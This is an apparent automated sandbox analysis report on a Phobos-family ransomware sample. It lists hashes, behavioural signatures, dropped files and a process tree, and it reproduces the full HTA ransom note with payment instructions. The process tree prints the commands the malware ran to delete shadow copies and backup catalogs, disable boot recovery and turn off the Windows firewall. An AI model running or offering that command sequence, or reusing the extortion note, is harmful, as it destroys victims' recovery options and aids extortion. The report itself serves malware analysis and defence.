Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-07-2024 07:09

General

  • Target

    f604723783fbd9d194418ff08b5b30a120bc69ba91c3d74ca7ee6be20cb28800.exe

  • Size

    74KB

  • MD5

    d347769098a8697660804d68eaac0622

  • SHA1

    e2758e6c0751c30849614728a63aeb9e82ea3113

  • SHA256

    f604723783fbd9d194418ff08b5b30a120bc69ba91c3d74ca7ee6be20cb28800

  • SHA512

    b4874af4ffd16bce8682f6ecedc5f2dd4ec0ebd34af438f760e3aeeefef55e6cb634598f9edbe5e829cdbb4e3e701f11f0890faaee43a669b081b0f74acc34aa

  • SSDEEP

    1536:mNeRBl5PT/rx1mzwRMSTdLpJPgEEt4AwMEz9UQzdbGCq2iW7z:mQRrmzwR5Jw45MEyQ5GCH

Malware Config

Extracted

Path

C:\info.hta

Ransom Note
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'> <html> <head> <meta charset='windows-1251'> <title>encrypted</title> <HTA:APPLICATION ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no"> <script language='JScript'> window.moveTo(50, 50); window.resizeTo(screen.width - 100, screen.height - 100); </script> <style type='text/css'> body { font: 15px Tahoma, sans-serif; margin: 10px; line-height: 25px; background: #EDEDED; } img { display:inline-block; } .bold { font-weight: bold; } .mark { background: #D0D0E8; padding: 2px 5px; } .header { text-align: center; font-size: 30px; line-height: 50px; font-weight: bold; margin-bottom:20px; } .info { background: #D0D0E8; border-left: 10px solid #00008B; } .alert { background: #FFE4E4; border-left: 10px solid #FF0000; } .private { border: 1px dashed #000; background: #FFFFEF; } .note { height: auto; padding-bottom: 1px; margin: 15px 0; } .note .title { font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; } .note .mark { background: #A2A2B5; } .note ul { margin-top: 0; } .note pre { margin-left: 15px; line-height: 13px; font-size: 13px; } .footer { position:fixed; bottom:0; right:0; text-align: right; } </style> </head> <body> <div class='header'> <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAQAAAAAYLlVAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfjAwwMJwSFwIn8AAADNklEQVRo3u2ZTUhUURTHfzozmprmZ1pYEmkfJNEmiwwkSEyFECIQpEUboYhqFYHQXlcti9rUKldWBEUiuQpbtDDNzD5G8qM0HRXLRtO5LdJx3puPd++8+xyIztm88zgf/3veufeee18SdimDI1RxnL0U4gbAzxhDdPGCfpZs+49JWTTyFB8iAq8wTju1pDgXvopOliIGX+d57rHPieBuLvLNIvgaD1KvP/x1FiTDCwQTNOkFcJVfCuEFgq+c0he+minF8AJBH2WRnCUph8/nIZVhb2d5w1smEbjYSTn7SQ/TucsFlnWkPxBW6Xc4RkbIoHKooSNshsxRbT98Eb0mtyM04oqgmR6hUNvtrwrnWDa4nOVMVF0XLfw2aPuosBfezQPTmNpiVtFmnpj0W+wBKMFrcPeJ3RYWNfwwWHSSZgdAHX6Du5uWFpl0myqm1KiQrASgnNQQaZFOS4t5nhvkAnbZAbDHIE0wIGHzmsUQKdXkQwlACtsN8ijfJay8zBjkovgBbCLPlAG/hNUcswa5IH4Ayasdzxr5pBbWRRYMstGHYg04QAkH4FbQFSwTCKbdI7mzWVipbMceKtiCCFqO0OeY1caRbAaKOcgOCpQ+WWTyM8EwvfjkTfJoYZDFONqwaPyTHs7LbktlPNMYep2XuE22dfhsHjkS/i+3Wn/SK2EdoE72UeuyGH8rxbbLLjqlkRlb4TAzDo5fIJiOvRTnR+ju9VJuwveC/wASDsD+2h5KUyyQTVZiALzjFt3MsY16mtmqx2mt9BbUw4EQuzpGpVcCLQB8nDBZXmJFDoCeInzFS9ObxwzLmeoBMGA4/QBM4t1IAOHXDi7Zqwg9ACrCWotS8xnQWQCHOGsafzOFOhzLT8NxmoI3RZncULjG1ARA8DHYupxUucbUtxd4ghnw4JI30wdARHneMABx0j8FYD3xCkdefQByKFl9KsOjy6nKNBR0cZRCTjOk1JhrBCCY5r3pZtSS9bZkueSqmljVgPoPDa0Algk4HD8QG8AXph0G8Dk2AC89DgPosFKodvR83G/dtiRzTevtUChP0SCTpBQuM+bI6Bvk51gl96X/FFvzCh9oW0v+H2zO2tYtz/EgAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTAzLTEyVDEyOjM5OjA0KzAwOjAwG6lIYwAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0wMy0xMlQxMjozOTowNCswMDowMGr08N8AAAAASUVORK5CYII='> <div>All your files have been STEALED and ENCRYPTED !<br>Contact with Us before contacting Data Recovery Companies!</div> </div> <div class='bold'>All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail: <span class='mark'>[email protected]</span> or this mails: <span class='mark'>[email protected]</span> </div> <div class='bold'>Write this ID in the title of your message <span class='mark'>478EA8F4-3542</span></div> <div class='bold'>If there is no response from our mail, you can install the Jabber client and write to us in support of <span class='mark'>[email protected]</span> </div> <div> You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the tool that will decrypt all your files. </div> <div class='note info'> <div class='title'>Free decryption as guarantee</div> <ul>Before paying you can send us up to 3 files for free decryption. The total size of files must be less than 4Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) </ul> </div> <div class='note info'> <div class='title'>How to obtain Bitcoins</div> <ul> The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. <br><a href='https://localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a> <br> Also you can find other places to buy Bitcoins and beginners guide here: <br><a href='http://www.coindesk.com/information/how-can-i-buy-bitcoins/'>http://www.coindesk.com/information/how-can-i-buy-bitcoins/</a> </ul> </div> <div class='title'>Jabber client installation instructions:</div> <div class='note info'> <ul> <li>Download the jabber (Pidgin) client from https://pidgin.im/download/windows/</li> <li>After installation, the Pidgin client will prompt you to create a new account.</li> <li>Click "Add"</li><li>In the "Protocol" field, select XMPP</li> <li>In "Username" - come up with any name</li> <li>In the field "domain" - enter any jabber-server, there are a lot of them, for example - exploit.im</li> <li>Create a password</li><li>At the bottom, put a tick "Create account"</li> <li>Click add</li> <li>If you selected "domain" - exploit.im, then a new window should appear in which you will need to re-enter your data:</li> <ul> <li>User</li> <li>password</li> <li>You will need to follow the link to the captcha (there you will see the characters that you need to enter in the field below)</li> </ul> <li>If you don't understand our Pidgin client installation instructions, you can find many installation tutorials on youtube - <a href = "https://www.youtube.com/results?search_query=pidgin+jabber+install">https://www.youtube.com/results?search_query=pidgin+jabber+install</a></li> </ul> </div> <div class='note alert'> <div class='title'>Attention!</div> <ul> <li>Do not rename encrypted files.</li> <li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li> <li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li> </ul> </div> </body> </html>
Emails

class='mark'>[email protected]</span>

class='mark'>[email protected]</span>

class='mark'>[email protected]</span>

URLs

http://www.w3.org/TR/html4/strict.dtd'>

https://pidgin.im/download/windows/</li>

Signatures

  • Phobos

    Phobos ransomware appeared at the beginning of 2019.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (515) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f604723783fbd9d194418ff08b5b30a120bc69ba91c3d74ca7ee6be20cb28800.exe
    "C:\Users\Admin\AppData\Local\Temp\f604723783fbd9d194418ff08b5b30a120bc69ba91c3d74ca7ee6be20cb28800.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2972
    • C:\Users\Admin\AppData\Local\Temp\zGrw.exe
      C:\Users\Admin\AppData\Local\Temp\zGrw.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:448
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4de40b6a.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3744
    • C:\Users\Admin\AppData\Local\Temp\f604723783fbd9d194418ff08b5b30a120bc69ba91c3d74ca7ee6be20cb28800.exe
      "C:\Users\Admin\AppData\Local\Temp\f604723783fbd9d194418ff08b5b30a120bc69ba91c3d74ca7ee6be20cb28800.exe"
      2⤵
        PID:3660
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3468
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:228
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1772
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:4496
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:2956
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          3⤵
          • Deletes backup catalog
          PID:3024
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3252
        • C:\Windows\system32\netsh.exe
          netsh advfirewall set currentprofile state off
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1576
        • C:\Windows\system32\netsh.exe
          netsh firewall set opmode mode=disable
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:3028
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • System Location Discovery: System Language Discovery
        PID:5348
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\desktop\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • System Location Discovery: System Language Discovery
        PID:5384
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • System Location Discovery: System Language Discovery
        PID:5440
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "F:\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • System Location Discovery: System Language Discovery
        PID:5460
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5476
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5736
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5844
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:5872
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:5888
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          3⤵
          • Deletes backup catalog
          PID:5892
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4656
    • C:\Windows\system32\wbengine.exe
      "C:\Windows\system32\wbengine.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1628
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:2484
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:2612

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Program Files\7-Zip\Uninstall.exe

        Filesize

        31KB

        MD5

        05be86d220260788e9c03a82d1a0e697

        SHA1

        779f8696fd653e1009de22a5d34b365db42be972

        SHA256

        2ef6d41bc8225878d7aa158fa7f751e5661aab77b43a7a379d669496dbae5113

        SHA512

        672135e115877d6a650358e215821b2b6fc020b51fdc1c3306f24e60cc5c03e5d3fa746f65601deb0ce758dd716efaf12690957942e589f87050962c1afb1146

      • C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R64.dll.id[478EA8F4-3542].[[email protected]].faust

        Filesize

        3.6MB

        MD5

        17e98cdd49e9f4307631f73d185c9ce9

        SHA1

        9e9698c41f489f4315ca75e705c0b12bb171464e

        SHA256

        943e641e139fab53efe4d502093466ebaeefcff63c2672a784d3993a9b8a1688

        SHA512

        0217b79361c15772e4e0c45c607fb82b47e964c3bd7a33971e7facfccdb82bf9f394157f306d9d1a1a0a6447a01da3302546b7d86e2512e64cb5f7e9864a8559

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\5G8JI3LV\k2[1].rar

        Filesize

        4B

        MD5

        d3b07384d113edec49eaa6238ad5ff00

        SHA1

        f1d2d2f924e986ac86fdf7b36c94bcdf32beec15

        SHA256

        b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c

        SHA512

        0cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6

      • C:\Users\Admin\AppData\Local\Temp\4de40b6a.bat

        Filesize

        183B

        MD5

        360e9bc0f8762a0ef89b623dad883744

        SHA1

        a991e23f98d2d26ae1847d5025adea6b7f66af81

        SHA256

        2074001ec9f88df5cec5688d8f2c234d6792f20a6abc7d8132a460de0ccc99f0

        SHA512

        0702375d308c85ff73857bc6bd32f903cd8a6f8d2f8504f876d1ef416c196a5b17f304a6acf42c5a60c29bbf7357b5fe950e18325b878f090a7c243004b21ce3

      • C:\Users\Admin\AppData\Local\Temp\686A613B.exe

        Filesize

        4B

        MD5

        20879c987e2f9a916e578386d499f629

        SHA1

        c7b33ddcc42361fdb847036fc07e880b81935d5d

        SHA256

        9f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31

        SHA512

        bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f

      • C:\Users\Admin\AppData\Local\Temp\zGrw.exe

        Filesize

        15KB

        MD5

        f7d21de5c4e81341eccd280c11ddcc9a

        SHA1

        d4e9ef10d7685d491583c6fa93ae5d9105d815bd

        SHA256

        4485df22c627fa0bb899d79aa6ff29bc5be1dbc3caa2b7a490809338d54b7794

        SHA512

        e4553b86b083996038bacfb979ad0b86f578f95185d8efac34a77f6cc73e491d4f70e1449bbc9eb1d62f430800c1574101b270e1cb0eeed43a83049a79b636a3

      • C:\info.hta

        Filesize

        6KB

        MD5

        2c292a670ae2074b8bc81d35a1c4a988

        SHA1

        3a9f58879045a35152dbc66ce7aebcbabd7e6161

        SHA256

        c459856d526b37108d3c813c73035c967f6f0badf68406dc9a70fc528b1b7140

        SHA512

        5e98660719db34c66decc7958d71d02c2dee64365c5b705e319cde1b4e97bd4156fcc26512bbb13bd207f9b88d4d62dad26cf88147b37c80946c476c1740eac3

      • memory/448-5-0x0000000000BA0000-0x0000000000BA9000-memory.dmp

        Filesize

        36KB

      • memory/448-47-0x0000000000BA0000-0x0000000000BA9000-memory.dmp

        Filesize

        36KB

      • memory/2972-0-0x0000000000460000-0x0000000000479000-memory.dmp

        Filesize

        100KB

      • memory/2972-9948-0x0000000000460000-0x0000000000479000-memory.dmp

        Filesize

        100KB

      • memory/3660-7-0x0000000000460000-0x0000000000479000-memory.dmp

        Filesize

        100KB